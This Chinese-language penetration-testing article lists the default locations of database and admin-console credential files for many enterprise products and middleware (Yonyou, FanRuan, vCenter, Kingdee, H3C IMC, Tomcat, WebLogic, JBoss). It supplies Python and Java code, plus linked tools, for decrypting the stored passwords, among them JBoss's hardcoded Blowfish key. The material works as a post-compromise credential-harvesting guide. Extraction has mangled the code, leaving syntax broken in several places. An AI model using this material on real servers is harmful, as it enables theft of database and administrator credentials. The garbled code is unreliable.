數(shù)據(jù)庫配置文件默認(rèn)位置:
/nchome/ierp/bin/prop.xml
用友數(shù)據(jù)庫解密,工具下載地址:https://github.com/jas502n/ncDecode
金和OA
數(shù)據(jù)庫默認(rèn)配置文件:
D:\apache-tomcat-6.0.53\webapps\jc6\WEB-INF\classes\db.properties 心通達(dá)
數(shù)據(jù)庫默認(rèn)配置文件:
/webapps/ROOT/WEB-INF/classes/jdbc-sql.propertie
image.png 帆軟
數(shù)據(jù)庫默認(rèn)配置文件:
\WEB-INF\resources\privilege.xml
解密代碼:
cipher = input( "輸入密文:\n") # 密文
PASSWORD_MASK_ARRAY = [ 19, 78, 10, 15, 100, 213, 43, 23]
password = ""
cipher = cipher[ 3:]
fori inrange( int( len(cipher) / 4)):
c1 = int( "0x"+ cipher[i * 4:(i + 1) * 4], 16)
c2 = c1 ^ PASSWORD_MASK_ARRAY[i % 8]
password = password + chr(c2)
print( "明文密碼:\n"+password) image.png Confluence
數(shù)據(jù)庫默認(rèn)配置文件:
/ var/atlassian/confluenc/confluence.cfg.xml vCenter
數(shù)據(jù)庫默認(rèn)配置文件:
Windows默認(rèn)路徑:
C:\ProgramData\VMware\vCenterServer\cfg\vmware-vps\vcdb.properties
Linux路徑:
/etc/vmware-vpx/vcdb.properties
/etc/vmware/service-state/vpxd/vcdb.properties
金蝶金蝶EAS
數(shù)據(jù)庫默認(rèn)配置文件:
...\runtime\apusic\domains\server1\config\datasources.xml
D:/Kingdee/eas/server/properties/datacenters.xml 華三IMC
數(shù)據(jù)庫默認(rèn)配置文件:
common\conf\server-addr.xml
核心算法:通過將去掉-符號的值加上數(shù)組的下標(biāo)值乘上16取余256,接著把獲取到的值b與255進(jìn)行比較,大于255的進(jìn)行b-256的操作后賦值給b,緊接著進(jìn)行ASCII轉(zhuǎn)換。最后判斷結(jié)尾是否為” ~~”,是的話就去掉,最后去掉最后兩位。解密代碼:
str= "-115-97-76-67-49-28-30-14"
ifstr.startswith( '-'):
strs = []
bytess = []
strs = str[ 1: 24].split( '-')
i = 0
fori inrange( len(strs)- 2):
try:
strsint = int(strs[i])
b = strsint + i * 16% 256
ifb 255:
b = b - 256
str1 = chr(b)
ifnotstr1.endswith( "~~"):
bytess.append( chr(b))
except:
pass
i = i + 1
print( "密碼:"+ ''.join(bytess))
else:
print( "密文格式不對!")
print( "格式應(yīng)為:-112-81-83-67-55-20-30-1") image.png 聯(lián)軟 IT 安全運(yùn)維
數(shù)據(jù)庫默認(rèn)配置文件:
/home/leagsoft/LeagView/Ini/odbc.ini
/home/leagsoft/LeagView/Ini/Server.ini
/etc/postgresql/ 9.1/auditdb/postgresql.conf 中間件T omcat數(shù)據(jù)庫
數(shù)據(jù)庫配置文件:
WEB-INF/classes/application.properties
實(shí)戰(zhàn)中遇見的tomcat常見數(shù)據(jù)庫配置文件名:
db.properties
jdbc.properties
dbpool.properties
config.properties
sso-config.properties
minaconfig.properties
missCallAlertExclude.properties
url_img.properties
webapp.properties
Proxool.properties
application.properties 控制臺
tomcat控制臺賬號密碼:
/conf/tomcat-users.xml A ctiveMQ
配置了認(rèn)證的情況:
登錄密碼存放路徑:
/apache-activemq/conf/jetty-realm.properties
W eblogic
WebLogic 11gR1后采用了AES的加密方式,之前的版本采用的DES加密方式。每個Weblogic app的加密key都是隨機(jī)生成的,所以不同服務(wù)器甚至同服務(wù)器不同應(yīng)用上的weblogic都是用不同的密碼加密的。
Weblogic控制臺密碼解密
查找boot.properties文件:
weblogic/user_projects/domains/base_domain/servers/AdminServer/security/boot.properties
查找SerializedSystemIni.dat文件,其中包含了解密key:
weblogic/user_projects/domains/base_domain/security/SerializedSystemIni.dat
解密工具:https://github.com/Ch1ngg/WebLogicPasswordDecryptorUi
Nodemanager密碼解密
查找config.xml文件
/weblogic/user_projects/domains/base_domain/config/config.xml
數(shù)據(jù)庫密碼解密
查找jdbc相關(guān)文件
/weblogic/Oracle/Middleware/user_projects/domains/base_domain/config/jdbc/xxx-jdbc.xml
成功解密
JBOSS
JBoss使用blowfish加密算法,解密key為硬編碼的jaas is the way。數(shù)據(jù)庫配置默認(rèn)目錄:
%JBOSS_HOME%\server\%appname%\deploy\oracle-ds.xml
%JBOSS_HOME%\server\%appname%\deploy\mysql-ds.xml
在沒有加密的情況下,密碼是明文:
jndi-nameOracleDS/jndi-name //jndi名字
use-java-contextfalse/use-java-context
connection-urljdbc:oracle:thin:@localhost:1521:orcl/connection-url //URL地址
driver-classoracle.jdbc.driver.OracleDriver/driver-class //驅(qū)動
user-nameroot/user-name //用戶名
password123456/password //密碼
在配置完密碼加密后,加密后的密碼存在jboss目錄的conf/login-config.xml文件里:
application-policy name="EncryptDBPassword"
authentication
login-module code="org.jboss.resource.security.SecureIdentityLoginModule" flag="required"
module-option name="username"admin/module-option
module-option name="password"5dfc52b51bd35553df8592078de921bc/module-option
module-option name="managedConnectionFactoryName"jboss.jca:name=PostgresDS,service=LocalTxCM/module-option /login-module
/authentication
/application-policy
JBoss加密和解密代碼:
importjava.math.BigInteger;
/*
* JBoss.java - Blowfish encryption/decryption tool with JBoss default password
* Daniel Martin Gomez daniel @ ngssoftware.com - 03/Sep/2009
*
* This file may be used under the terms of the GNU General Public License
* version 2.0 as published by the Free Software Foundation:
* http://www.gnu.org/licenses/gpl-2.0.html
*/
importjavax.crypto.*;
importjavax.crypto.spec.SecretKeySpec;
publicclassMain{
publicstaticvoidmain(String[] args) throwsException {
if((args.length != 2) ||
!(args[ 0].equals( "-e") | args[ 0].equals( "-d"))) {
System.out.println(
"Usage:\n\tjava JBoss -e|-d encrypted_password");
return;
}
Stringmode=args[ 0];
byte[] kbytes = "jaas is the way".getBytes;
SecretKeySpeckey=newSecretKeySpec(kbytes, "Blowfish");
Ciphercipher=Cipher.getInstance( "Blowfish");
Stringout=null;
if(mode.equals( "-e")) {
Stringsecret=args[ 1];
cipher.init(Cipher.ENCRYPT_MODE, key);
byte[] encoding = cipher.doFinal(secret.getBytes);
out = newBigInteger(encoding).toString( 16);
} else{
BigIntegersecret=newBigInteger(args[ 1], 16);
cipher.init(Cipher.DECRYPT_MODE, key);
byte[] encoding = cipher.doFinal(secret.toByteArray);
out = newString(encoding);
}
System.out.println(out);
}
}
在線解密:https://www.json.cn/runcode/run_java/
image.png 引用鏈接
原創(chuàng)稿件征集
征集原創(chuàng)技術(shù)文章中,歡迎投遞
投稿郵箱:edu@antvsion.com
文章類型:黑客極客技術(shù)、信息安全熱點(diǎn)安全研究分析等安全相關(guān)
通過審核并發(fā)布能收獲200-800元不等的稿酬。
更多詳情,點(diǎn)我查看!
靶場實(shí)操,戳“閱讀原文“
掃描二維碼推送至手機(jī)訪問。
版權(quán)聲明:本文由飛速云SEO網(wǎng)絡(luò)優(yōu)化推廣發(fā)布,如需轉(zhuǎn)載請注明出處。